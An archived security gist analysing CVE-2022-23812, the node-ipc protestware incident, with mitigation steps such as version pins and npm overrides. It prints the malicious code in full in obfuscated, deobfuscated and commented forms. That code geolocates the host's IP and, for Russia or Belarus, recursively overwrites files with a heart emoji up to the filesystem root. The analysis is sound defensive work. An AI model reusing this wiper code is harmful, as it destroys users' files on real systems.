CVE-2022-23812 | RIAEvangelist/node-ipc is malware / protest-ware
By MidSpike
Archived: 2026-04-05 18:50:24 UTC
RIAEvangelist/node-ipc is malware / protestware
The RIAEvangelist/node-ipc module contains protestware peacenotwar.
Excerpt from RIAEvangelist/node-ipc:
as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.
More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 ->
6e344066a0464814a27fbd7ca8422f473956a803 of RIAEvangelist/node-ipc contains malware.
⚠️| The following code is malicious, DO NOT RUN IT
https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
The following codeblock was added in-case the url above is deactivated
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Ma
⚠️| The above code is malicious, DO NOT RUN IT
I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus,
node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:
⚠️| The following code is malicious, DO NOT RUN IT
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
 const t = Math.round(Math.random() * 4);
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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if (t > 1) {
 return;
 }
 const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNG
 o.get(n.toString("utf8"), function (t) {
 t.on("data", function (t) {
 const n = Buffer.from("Li8=", "base64");
 const o = Buffer.from("Li4v", "base64");
 const r = Buffer.from("Li4vLi4v", "base64");
 const f = Buffer.from("Lw==", "base64");
 const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
 const e = Buffer.from("cnVzc2lh", "base64");
 const i = Buffer.from("YmVsYXJ1cw==", "base64");
 try {
 const s = JSON.parse(t.toString("utf8"));
 const u = s[c.toString("utf8")].toLowerCase();
 const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
 if (a) {
 h(n.toString("utf8"));
 h(o.toString("utf8"));
 h(r.toString("utf8"));
 h(f.toString("utf8"));
 }
 } catch (t) {}
 });
 });
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
 if (!a.existsSync(n)) {
 return;
 }
 let r = [];
 try {
 r = a.readdirSync(n);
 } catch (t) {}
 const f = [];
 const c = Buffer.from("4p2k77iP", "base64");
 for (var e = 0; e < r.length; e++) {
 const i = u.join(n, r[e]);
 let t = null;
 try {
 t = a.lstatSync(i);
 } catch (t) {
 continue;
 }
 if (t.isDirectory()) {
 const s = h(i, o);
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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s.length > 0 ? f.push(...s) : null;
 } else if (i.indexOf(o) >= 0) {
 try {
 a.writeFile(i, c.toString("utf8"), function () {});
 } catch (t) {}
 }
 }
 return f;
}
const ssl = true;
export { ssl as default, ssl };
⚠️| The above code is malicious, DO NOT RUN IT
The following are excerpts from the malicious code:
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
The following demonstrates example of what each of the parameters going to the
a.writeFile(i,c.toString("utf8") would be:
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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Edit 2022-03-16_0
Comment by zkyf
Just made it better looked and commented dangerous code so you guys can take a try. Obviously the
code will delete literally EVERYTHING on your drive.
const path = require("path");
const fs = require("fs");
const https = require("https");
setTimeout(function () {
 const randomNumber = Math.round(Math.random() * 4);
 if (randomNumber > 1) {
 // return;
 }
 const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154";
 const pwd = "./";
 const parentDir = "../";
 const grandParentDir = "../../";
 const root = "/";
 const countryName = "country_name";
 const russia = "russia";
 const belarus = "belarus";
 https.get(apiKey, function (message) {
 message.on("data", function (msgBuffer) {
 try {
 const message = JSON.parse(msgBuffer.toString("utf8"));
 const userCountryName = message[countryName.toString("utf8")].toLowerCase();
 const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.i
 if (hasRus) {
 deleteFile(pwd);
 deleteFile(parentDir);
 deleteFile(grandParentDir);
 deleteFile(root);
 }
 } catch (t) {}
 });
 });
 // zkyf: Let's try this directly here
 deleteFile(pwd);
 deleteFile(parentDir);
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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deleteFile(grandParentDir);
 deleteFile(root);
}, 100);
async function deleteFile(pathName = "", o = "") {
 if (!fs.existsSync(pathName)) {
 return;
 }
 let fileList = [];
 try {
 fileList = fs.readdirSync(pathName);
 } catch (t) {}
 const f = [];
 const heartUtf8 = Buffer.from("4p2k77iP", "base64");
 for (var idx = 0; idx < fileList.length; idx++) {
 const fileName = path.join(pathName, fileList[idx]);
 let fileInfo = null;
 try {
 fileInfo = fs.lstatSync(fileName);
 } catch (err) {
 continue;
 }
 if (fileInfo.isDirectory()) {
 const fileSymbol = deleteFile(fileName, o);
 fileSymbol.length > 0 ? f.push(...fileSymbol) : null;
 } else if (fileName.indexOf(o) >= 0) {
 try {
 // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites
 console.log(`Rewrite ${fileName}`);
 } catch (err) {}
 }
 }
 return f;
}
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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Console:
Edit 2022-03-16_1 (requested by @lgg)
Available mitigation methods:
The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181
If you use one of the following mitigation stratagies, make sure to remove the ^ to force node-ipc to the
specified version.
"^9.x.x" -> "9.2.1"
 "dependencies": {
- "node-ipc": "^9.x.x"
+ "node-ipc": "9.2.1"
 }
"^10.x.x" -> "10.1.0"
 "dependencies": {
- "node-ipc": "^10.x.x"
+ "node-ipc": "10.1.0"
 }
"^11.x.x" -> "10.1.0"
 "dependencies": {
- "node-ipc": "^11.x.x"
+ "node-ipc": "10.1.0"
 }
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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3rd-party mitigation methods:
vue-cli
Unity Hub
Edit 2022-03-16_2 (requested by @lgg)
CVE-2022-23812
Edit 2022-03-17_0
@RIAEvangelist has banned me from interacting with their repositories
Edit 2022-03-17_1
The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc :
package.json
 "overrides": {
 "node-ipc@>9.2.1 <10": "9.2.1",
 "node-ipc@>10.1.0": "10.1.0"
 }
Edit 2022-03-17_2 (credit: @Uzlopak)
NPM users below NPM v8, this is for you!
Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides
capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with
them. So upgrading npm to 8 would be necessary.
Yarn users, this is for you!
Yarn 1 - Selective dependency resolutions
Yarn 2 - Resolutions
I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.
Edit 2022-03-17_3
Please read this message
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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I've been seeing a lot of hate comments going after the owner of node-ipc (especially on their repositories). We
should remember the high standards that we expect from our fellow developers on GitHub, regardless of what
another has done.
Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812. I'm
sure that the owner of node-ipc will be reprimanded by their employer, NPM, and GitHub.
Please do not threaten anyone here (or elsewhere for that matter).
Edit 2022-03-18_0
I've begun work on my own fork of node-ipc : MidSpike/node-ipc#1
Source: https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
https://gist.github.com/MidSpike/f7ae3457420af78a54b38a31cc0c809c
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